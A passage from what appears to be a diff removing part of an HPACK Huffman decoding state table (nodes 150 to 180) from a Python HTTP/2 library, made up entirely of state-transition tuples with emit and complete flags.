HUFFMAN_EMIT_SYMBOL, 138), - (6, HUFFMAN_EMIT_SYMBOL, 138), - (10, HUFFMAN_EMIT_SYMBOL, 138), - (15, HUFFMAN_EMIT_SYMBOL, 138), - (24, HUFFMAN_EMIT_SYMBOL, 138), - (31, HUFFMAN_EMIT_SYMBOL, 138), - (41, HUFFMAN_EMIT_SYMBOL, 138), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 138), - - # Node 150 - (2, HUFFMAN_EMIT_SYMBOL, 139), - (9, HUFFMAN_EMIT_SYMBOL, 139), - (23, HUFFMAN_EMIT_SYMBOL, 139), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 139), - (2, HUFFMAN_EMIT_SYMBOL, 140), - (9, HUFFMAN_EMIT_SYMBOL, 140), - (23, HUFFMAN_EMIT_SYMBOL, 140), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 140), - (2, HUFFMAN_EMIT_SYMBOL, 141), - (9, HUFFMAN_EMIT_SYMBOL, 141), - (23, HUFFMAN_EMIT_SYMBOL, 141), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 141), - (2, HUFFMAN_EMIT_SYMBOL, 143), - (9, HUFFMAN_EMIT_SYMBOL, 143), - (23, HUFFMAN_EMIT_SYMBOL, 143), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 143), - - # Node 151 - (3, HUFFMAN_EMIT_SYMBOL, 139), - (6, HUFFMAN_EMIT_SYMBOL, 139), - (10, HUFFMAN_EMIT_SYMBOL, 139), - (15, HUFFMAN_EMIT_SYMBOL, 139), - (24, HUFFMAN_EMIT_SYMBOL, 139), - (31, HUFFMAN_EMIT_SYMBOL, 139), - (41, HUFFMAN_EMIT_SYMBOL, 139), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 139), - (3, HUFFMAN_EMIT_SYMBOL, 140), - (6, HUFFMAN_EMIT_SYMBOL, 140), - (10, HUFFMAN_EMIT_SYMBOL, 140), - (15, HUFFMAN_EMIT_SYMBOL, 140), - (24, HUFFMAN_EMIT_SYMBOL, 140), - (31, HUFFMAN_EMIT_SYMBOL, 140), - (41, HUFFMAN_EMIT_SYMBOL, 140), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 140), - - # Node 152 - (3, HUFFMAN_EMIT_SYMBOL, 141), - (6, HUFFMAN_EMIT_SYMBOL, 141), - (10, HUFFMAN_EMIT_SYMBOL, 141), - (15, HUFFMAN_EMIT_SYMBOL, 141), - (24, HUFFMAN_EMIT_SYMBOL, 141), - (31, HUFFMAN_EMIT_SYMBOL, 141), - (41, HUFFMAN_EMIT_SYMBOL, 141), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 141), - (3, HUFFMAN_EMIT_SYMBOL, 143), - (6, HUFFMAN_EMIT_SYMBOL, 143), - (10, HUFFMAN_EMIT_SYMBOL, 143), - (15, HUFFMAN_EMIT_SYMBOL, 143), - (24, HUFFMAN_EMIT_SYMBOL, 143), - (31, HUFFMAN_EMIT_SYMBOL, 143), - (41, HUFFMAN_EMIT_SYMBOL, 143), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 143), - - # Node 153 - (157, 0, 0), - (158, 0, 0), - (160, 0, 0), - (161, 0, 0), - (164, 0, 0), - (165, 0, 0), - (167, 0, 0), - (168, 0, 0), - (172, 0, 0), - (173, 0, 0), - (175, 0, 0), - (177, 0, 0), - (182, 0, 0), - (185, 0, 0), - (191, 0, 0), - (207, 0, 0), - - # Node 154 - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 147), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 149), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 150), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 151), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 152), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 155), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 157), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 158), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 165), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 166), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 168), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 174), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 175), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 180), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 182), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 183), - - # Node 155 - (1, HUFFMAN_EMIT_SYMBOL, 147), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 147), - (1, HUFFMAN_EMIT_SYMBOL, 149), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 149), - (1, HUFFMAN_EMIT_SYMBOL, 150), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 150), - (1, HUFFMAN_EMIT_SYMBOL, 151), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 151), - (1, HUFFMAN_EMIT_SYMBOL, 152), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 152), - (1, HUFFMAN_EMIT_SYMBOL, 155), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 155), - (1, HUFFMAN_EMIT_SYMBOL, 157), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 157), - (1, HUFFMAN_EMIT_SYMBOL, 158), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 158), - - # Node 156 - (2, HUFFMAN_EMIT_SYMBOL, 147), - (9, HUFFMAN_EMIT_SYMBOL, 147), - (23, HUFFMAN_EMIT_SYMBOL, 147), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 147), - (2, HUFFMAN_EMIT_SYMBOL, 149), - (9, HUFFMAN_EMIT_SYMBOL, 149), - (23, HUFFMAN_EMIT_SYMBOL, 149), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 149), - (2, HUFFMAN_EMIT_SYMBOL, 150), - (9, HUFFMAN_EMIT_SYMBOL, 150), - (23, HUFFMAN_EMIT_SYMBOL, 150), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 150), - (2, HUFFMAN_EMIT_SYMBOL, 151), - (9, HUFFMAN_EMIT_SYMBOL, 151), - (23, HUFFMAN_EMIT_SYMBOL, 151), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 151), - - # Node 157 - (3, HUFFMAN_EMIT_SYMBOL, 147), - (6, HUFFMAN_EMIT_SYMBOL, 147), - (10, HUFFMAN_EMIT_SYMBOL, 147), - (15, HUFFMAN_EMIT_SYMBOL, 147), - (24, HUFFMAN_EMIT_SYMBOL, 147), - (31, HUFFMAN_EMIT_SYMBOL, 147), - (41, HUFFMAN_EMIT_SYMBOL, 147), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 147), - (3, HUFFMAN_EMIT_SYMBOL, 149), - (6, HUFFMAN_EMIT_SYMBOL, 149), - (10, HUFFMAN_EMIT_SYMBOL, 149), - (15, HUFFMAN_EMIT_SYMBOL, 149), - (24, HUFFMAN_EMIT_SYMBOL, 149), - (31, HUFFMAN_EMIT_SYMBOL, 149), - (41, HUFFMAN_EMIT_SYMBOL, 149), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 149), - - # Node 158 - (3, HUFFMAN_EMIT_SYMBOL, 150), - (6, HUFFMAN_EMIT_SYMBOL, 150), - (10, HUFFMAN_EMIT_SYMBOL, 150), - (15, HUFFMAN_EMIT_SYMBOL, 150), - (24, HUFFMAN_EMIT_SYMBOL, 150), - (31, HUFFMAN_EMIT_SYMBOL, 150), - (41, HUFFMAN_EMIT_SYMBOL, 150), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 150), - (3, HUFFMAN_EMIT_SYMBOL, 151), - (6, HUFFMAN_EMIT_SYMBOL, 151), - (10, HUFFMAN_EMIT_SYMBOL, 151), - (15, HUFFMAN_EMIT_SYMBOL, 151), - (24, HUFFMAN_EMIT_SYMBOL, 151), - (31, HUFFMAN_EMIT_SYMBOL, 151), - (41, HUFFMAN_EMIT_SYMBOL, 151), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 151), - - # Node 159 - (2, HUFFMAN_EMIT_SYMBOL, 152), - (9, HUFFMAN_EMIT_SYMBOL, 152), - (23, HUFFMAN_EMIT_SYMBOL, 152), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 152), - (2, HUFFMAN_EMIT_SYMBOL, 155), - (9, HUFFMAN_EMIT_SYMBOL, 155), - (23, HUFFMAN_EMIT_SYMBOL, 155), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 155), - (2, HUFFMAN_EMIT_SYMBOL, 157), - (9, HUFFMAN_EMIT_SYMBOL, 157), - (23, HUFFMAN_EMIT_SYMBOL, 157), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 157), - (2, HUFFMAN_EMIT_SYMBOL, 158), - (9, HUFFMAN_EMIT_SYMBOL, 158), - (23, HUFFMAN_EMIT_SYMBOL, 158), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 158), - - # Node 160 - (3, HUFFMAN_EMIT_SYMBOL, 152), - (6, HUFFMAN_EMIT_SYMBOL, 152), - (10, HUFFMAN_EMIT_SYMBOL, 152), - (15, HUFFMAN_EMIT_SYMBOL, 152), - (24, HUFFMAN_EMIT_SYMBOL, 152), - (31, HUFFMAN_EMIT_SYMBOL, 152), - (41, HUFFMAN_EMIT_SYMBOL, 152), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 152), - (3, HUFFMAN_EMIT_SYMBOL, 155), - (6, HUFFMAN_EMIT_SYMBOL, 155), - (10, HUFFMAN_EMIT_SYMBOL, 155), - (15, HUFFMAN_EMIT_SYMBOL, 155), - (24, HUFFMAN_EMIT_SYMBOL, 155), - (31, HUFFMAN_EMIT_SYMBOL, 155), - (41, HUFFMAN_EMIT_SYMBOL, 155), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 155), - - # Node 161 - (3, HUFFMAN_EMIT_SYMBOL, 157), - (6, HUFFMAN_EMIT_SYMBOL, 157), - (10, HUFFMAN_EMIT_SYMBOL, 157), - (15, HUFFMAN_EMIT_SYMBOL, 157), - (24, HUFFMAN_EMIT_SYMBOL, 157), - (31, HUFFMAN_EMIT_SYMBOL, 157), - (41, HUFFMAN_EMIT_SYMBOL, 157), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 157), - (3, HUFFMAN_EMIT_SYMBOL, 158), - (6, HUFFMAN_EMIT_SYMBOL, 158), - (10, HUFFMAN_EMIT_SYMBOL, 158), - (15, HUFFMAN_EMIT_SYMBOL, 158), - (24, HUFFMAN_EMIT_SYMBOL, 158), - (31, HUFFMAN_EMIT_SYMBOL, 158), - (41, HUFFMAN_EMIT_SYMBOL, 158), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 158), - - # Node 162 - (1, HUFFMAN_EMIT_SYMBOL, 165), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 165), - (1, HUFFMAN_EMIT_SYMBOL, 166), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 166), - (1, HUFFMAN_EMIT_SYMBOL, 168), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 168), - (1, HUFFMAN_EMIT_SYMBOL, 174), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 174), - (1, HUFFMAN_EMIT_SYMBOL, 175), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 175), - (1, HUFFMAN_EMIT_SYMBOL, 180), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 180), - (1, HUFFMAN_EMIT_SYMBOL, 182), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 182), - (1, HUFFMAN_EMIT_SYMBOL, 183), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 183), - - # Node 163 - (2, HUFFMAN_EMIT_SYMBOL, 165), - (9, HUFFMAN_EMIT_SYMBOL, 165), - (23, HUFFMAN_EMIT_SYMBOL, 165), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 165), - (2, HUFFMAN_EMIT_SYMBOL, 166), - (9, HUFFMAN_EMIT_SYMBOL, 166), - (23, HUFFMAN_EMIT_SYMBOL, 166), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 166), - (2, HUFFMAN_EMIT_SYMBOL, 168), - (9, HUFFMAN_EMIT_SYMBOL, 168), - (23, HUFFMAN_EMIT_SYMBOL, 168), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 168), - (2, HUFFMAN_EMIT_SYMBOL, 174), - (9, HUFFMAN_EMIT_SYMBOL, 174), - (23, HUFFMAN_EMIT_SYMBOL, 174), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 174), - - # Node 164 - (3, HUFFMAN_EMIT_SYMBOL, 165), - (6, HUFFMAN_EMIT_SYMBOL, 165), - (10, HUFFMAN_EMIT_SYMBOL, 165), - (15, HUFFMAN_EMIT_SYMBOL, 165), - (24, HUFFMAN_EMIT_SYMBOL, 165), - (31, HUFFMAN_EMIT_SYMBOL, 165), - (41, HUFFMAN_EMIT_SYMBOL, 165), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 165), - (3, HUFFMAN_EMIT_SYMBOL, 166), - (6, HUFFMAN_EMIT_SYMBOL, 166), - (10, HUFFMAN_EMIT_SYMBOL, 166), - (15, HUFFMAN_EMIT_SYMBOL, 166), - (24, HUFFMAN_EMIT_SYMBOL, 166), - (31, HUFFMAN_EMIT_SYMBOL, 166), - (41, HUFFMAN_EMIT_SYMBOL, 166), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 166), - - # Node 165 - (3, HUFFMAN_EMIT_SYMBOL, 168), - (6, HUFFMAN_EMIT_SYMBOL, 168), - (10, HUFFMAN_EMIT_SYMBOL, 168), - (15, HUFFMAN_EMIT_SYMBOL, 168), - (24, HUFFMAN_EMIT_SYMBOL, 168), - (31, HUFFMAN_EMIT_SYMBOL, 168), - (41, HUFFMAN_EMIT_SYMBOL, 168), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 168), - (3, HUFFMAN_EMIT_SYMBOL, 174), - (6, HUFFMAN_EMIT_SYMBOL, 174), - (10, HUFFMAN_EMIT_SYMBOL, 174), - (15, HUFFMAN_EMIT_SYMBOL, 174), - (24, HUFFMAN_EMIT_SYMBOL, 174), - (31, HUFFMAN_EMIT_SYMBOL, 174), - (41, HUFFMAN_EMIT_SYMBOL, 174), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 174), - - # Node 166 - (2, HUFFMAN_EMIT_SYMBOL, 175), - (9, HUFFMAN_EMIT_SYMBOL, 175), - (23, HUFFMAN_EMIT_SYMBOL, 175), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 175), - (2, HUFFMAN_EMIT_SYMBOL, 180), - (9, HUFFMAN_EMIT_SYMBOL, 180), - (23, HUFFMAN_EMIT_SYMBOL, 180), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 180), - (2, HUFFMAN_EMIT_SYMBOL, 182), - (9, HUFFMAN_EMIT_SYMBOL, 182), - (23, HUFFMAN_EMIT_SYMBOL, 182), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 182), - (2, HUFFMAN_EMIT_SYMBOL, 183), - (9, HUFFMAN_EMIT_SYMBOL, 183), - (23, HUFFMAN_EMIT_SYMBOL, 183), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 183), - - # Node 167 - (3, HUFFMAN_EMIT_SYMBOL, 175), - (6, HUFFMAN_EMIT_SYMBOL, 175), - (10, HUFFMAN_EMIT_SYMBOL, 175), - (15, HUFFMAN_EMIT_SYMBOL, 175), - (24, HUFFMAN_EMIT_SYMBOL, 175), - (31, HUFFMAN_EMIT_SYMBOL, 175), - (41, HUFFMAN_EMIT_SYMBOL, 175), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 175), - (3, HUFFMAN_EMIT_SYMBOL, 180), - (6, HUFFMAN_EMIT_SYMBOL, 180), - (10, HUFFMAN_EMIT_SYMBOL, 180), - (15, HUFFMAN_EMIT_SYMBOL, 180), - (24, HUFFMAN_EMIT_SYMBOL, 180), - (31, HUFFMAN_EMIT_SYMBOL, 180), - (41, HUFFMAN_EMIT_SYMBOL, 180), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 180), - - # Node 168 - (3, HUFFMAN_EMIT_SYMBOL, 182), - (6, HUFFMAN_EMIT_SYMBOL, 182), - (10, HUFFMAN_EMIT_SYMBOL, 182), - (15, HUFFMAN_EMIT_SYMBOL, 182), - (24, HUFFMAN_EMIT_SYMBOL, 182), - (31, HUFFMAN_EMIT_SYMBOL, 182), - (41, HUFFMAN_EMIT_SYMBOL, 182), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 182), - (3, HUFFMAN_EMIT_SYMBOL, 183), - (6, HUFFMAN_EMIT_SYMBOL, 183), - (10, HUFFMAN_EMIT_SYMBOL, 183), - (15, HUFFMAN_EMIT_SYMBOL, 183), - (24, HUFFMAN_EMIT_SYMBOL, 183), - (31, HUFFMAN_EMIT_SYMBOL, 183), - (41, HUFFMAN_EMIT_SYMBOL, 183), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 183), - - # Node 169 - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 188), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 191), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 197), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 231), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 239), - (176, 0, 0), - (178, 0, 0), - (179, 0, 0), - (183, 0, 0), - (184, 0, 0), - (186, 0, 0), - (187, 0, 0), - (192, 0, 0), - (199, 0, 0), - (208, 0, 0), - (223, 0, 0), - - # Node 170 - (1, HUFFMAN_EMIT_SYMBOL, 188), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 188), - (1, HUFFMAN_EMIT_SYMBOL, 191), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 191), - (1, HUFFMAN_EMIT_SYMBOL, 197), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 197), - (1, HUFFMAN_EMIT_SYMBOL, 231), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 231), - (1, HUFFMAN_EMIT_SYMBOL, 239), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 239), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 9), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 142), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 144), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 145), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 148), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 159), - - # Node 171 - (2, HUFFMAN_EMIT_SYMBOL, 188), - (9, HUFFMAN_EMIT_SYMBOL, 188), - (23, HUFFMAN_EMIT_SYMBOL, 188), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 188), - (2, HUFFMAN_EMIT_SYMBOL, 191), - (9, HUFFMAN_EMIT_SYMBOL, 191), - (23, HUFFMAN_EMIT_SYMBOL, 191), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 191), - (2, HUFFMAN_EMIT_SYMBOL, 197), - (9, HUFFMAN_EMIT_SYMBOL, 197), - (23, HUFFMAN_EMIT_SYMBOL, 197), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 197), - (2, HUFFMAN_EMIT_SYMBOL, 231), - (9, HUFFMAN_EMIT_SYMBOL, 231), - (23, HUFFMAN_EMIT_SYMBOL, 231), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 231), - - # Node 172 - (3, HUFFMAN_EMIT_SYMBOL, 188), - (6, HUFFMAN_EMIT_SYMBOL, 188), - (10, HUFFMAN_EMIT_SYMBOL, 188), - (15, HUFFMAN_EMIT_SYMBOL, 188), - (24, HUFFMAN_EMIT_SYMBOL, 188), - (31, HUFFMAN_EMIT_SYMBOL, 188), - (41, HUFFMAN_EMIT_SYMBOL, 188), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 188), - (3, HUFFMAN_EMIT_SYMBOL, 191), - (6, HUFFMAN_EMIT_SYMBOL, 191), - (10, HUFFMAN_EMIT_SYMBOL, 191), - (15, HUFFMAN_EMIT_SYMBOL, 191), - (24, HUFFMAN_EMIT_SYMBOL, 191), - (31, HUFFMAN_EMIT_SYMBOL, 191), - (41, HUFFMAN_EMIT_SYMBOL, 191), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 191), - - # Node 173 - (3, HUFFMAN_EMIT_SYMBOL, 197), - (6, HUFFMAN_EMIT_SYMBOL, 197), - (10, HUFFMAN_EMIT_SYMBOL, 197), - (15, HUFFMAN_EMIT_SYMBOL, 197), - (24, HUFFMAN_EMIT_SYMBOL, 197), - (31, HUFFMAN_EMIT_SYMBOL, 197), - (41, HUFFMAN_EMIT_SYMBOL, 197), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 197), - (3, HUFFMAN_EMIT_SYMBOL, 231), - (6, HUFFMAN_EMIT_SYMBOL, 231), - (10, HUFFMAN_EMIT_SYMBOL, 231), - (15, HUFFMAN_EMIT_SYMBOL, 231), - (24, HUFFMAN_EMIT_SYMBOL, 231), - (31, HUFFMAN_EMIT_SYMBOL, 231), - (41, HUFFMAN_EMIT_SYMBOL, 231), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 231), - - # Node 174 - (2, HUFFMAN_EMIT_SYMBOL, 239), - (9, HUFFMAN_EMIT_SYMBOL, 239), - (23, HUFFMAN_EMIT_SYMBOL, 239), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 239), - (1, HUFFMAN_EMIT_SYMBOL, 9), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 9), - (1, HUFFMAN_EMIT_SYMBOL, 142), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 142), - (1, HUFFMAN_EMIT_SYMBOL, 144), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 144), - (1, HUFFMAN_EMIT_SYMBOL, 145), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 145), - (1, HUFFMAN_EMIT_SYMBOL, 148), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 148), - (1, HUFFMAN_EMIT_SYMBOL, 159), - (22, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 159), - - # Node 175 - (3, HUFFMAN_EMIT_SYMBOL, 239), - (6, HUFFMAN_EMIT_SYMBOL, 239), - (10, HUFFMAN_EMIT_SYMBOL, 239), - (15, HUFFMAN_EMIT_SYMBOL, 239), - (24, HUFFMAN_EMIT_SYMBOL, 239), - (31, HUFFMAN_EMIT_SYMBOL, 239), - (41, HUFFMAN_EMIT_SYMBOL, 239), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 239), - (2, HUFFMAN_EMIT_SYMBOL, 9), - (9, HUFFMAN_EMIT_SYMBOL, 9), - (23, HUFFMAN_EMIT_SYMBOL, 9), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 9), - (2, HUFFMAN_EMIT_SYMBOL, 142), - (9, HUFFMAN_EMIT_SYMBOL, 142), - (23, HUFFMAN_EMIT_SYMBOL, 142), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 142), - - # Node 176 - (3, HUFFMAN_EMIT_SYMBOL, 9), - (6, HUFFMAN_EMIT_SYMBOL, 9), - (10, HUFFMAN_EMIT_SYMBOL, 9), - (15, HUFFMAN_EMIT_SYMBOL, 9), - (24, HUFFMAN_EMIT_SYMBOL, 9), - (31, HUFFMAN_EMIT_SYMBOL, 9), - (41, HUFFMAN_EMIT_SYMBOL, 9), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 9), - (3, HUFFMAN_EMIT_SYMBOL, 142), - (6, HUFFMAN_EMIT_SYMBOL, 142), - (10, HUFFMAN_EMIT_SYMBOL, 142), - (15, HUFFMAN_EMIT_SYMBOL, 142), - (24, HUFFMAN_EMIT_SYMBOL, 142), - (31, HUFFMAN_EMIT_SYMBOL, 142), - (41, HUFFMAN_EMIT_SYMBOL, 142), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 142), - - # Node 177 - (2, HUFFMAN_EMIT_SYMBOL, 144), - (9, HUFFMAN_EMIT_SYMBOL, 144), - (23, HUFFMAN_EMIT_SYMBOL, 144), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 144), - (2, HUFFMAN_EMIT_SYMBOL, 145), - (9, HUFFMAN_EMIT_SYMBOL, 145), - (23, HUFFMAN_EMIT_SYMBOL, 145), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 145), - (2, HUFFMAN_EMIT_SYMBOL, 148), - (9, HUFFMAN_EMIT_SYMBOL, 148), - (23, HUFFMAN_EMIT_SYMBOL, 148), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 148), - (2, HUFFMAN_EMIT_SYMBOL, 159), - (9, HUFFMAN_EMIT_SYMBOL, 159), - (23, HUFFMAN_EMIT_SYMBOL, 159), - (40, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 159), - - # Node 178 - (3, HUFFMAN_EMIT_SYMBOL, 144), - (6, HUFFMAN_EMIT_SYMBOL, 144), - (10, HUFFMAN_EMIT_SYMBOL, 144), - (15, HUFFMAN_EMIT_SYMBOL, 144), - (24, HUFFMAN_EMIT_SYMBOL, 144), - (31, HUFFMAN_EMIT_SYMBOL, 144), - (41, HUFFMAN_EMIT_SYMBOL, 144), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 144), - (3, HUFFMAN_EMIT_SYMBOL, 145), - (6, HUFFMAN_EMIT_SYMBOL, 145), - (10, HUFFMAN_EMIT_SYMBOL, 145), - (15, HUFFMAN_EMIT_SYMBOL, 145), - (24, HUFFMAN_EMIT_SYMBOL, 145), - (31, HUFFMAN_EMIT_SYMBOL, 145), - (41, HUFFMAN_EMIT_SYMBOL, 145), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 145), - - # Node 179 - (3, HUFFMAN_EMIT_SYMBOL, 148), - (6, HUFFMAN_EMIT_SYMBOL, 148), - (10, HUFFMAN_EMIT_SYMBOL, 148), - (15, HUFFMAN_EMIT_SYMBOL, 148), - (24, HUFFMAN_EMIT_SYMBOL, 148), - (31, HUFFMAN_EMIT_SYMBOL, 148), - (41, HUFFMAN_EMIT_SYMBOL, 148), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 148), - (3, HUFFMAN_EMIT_SYMBOL, 159), - (6, HUFFMAN_EMIT_SYMBOL, 159), - (10, HUFFMAN_EMIT_SYMBOL, 159), - (15, HUFFMAN_EMIT_SYMBOL, 159), - (24, HUFFMAN_EMIT_SYMBOL, 159), - (31, HUFFMAN_EMIT_SYMBOL, 159), - (41, HUFFMAN_EMIT_SYMBOL, 159), - (56, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 159), - - # Node 180 - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 171), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 206), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 215), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 225), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 236), - (0, HUFFMAN_COMPLETE | HUFFMAN_EMIT_SYMBOL, 237), - (188, 0, 0), - (189, 0, 0), - (193, 0, 0), - 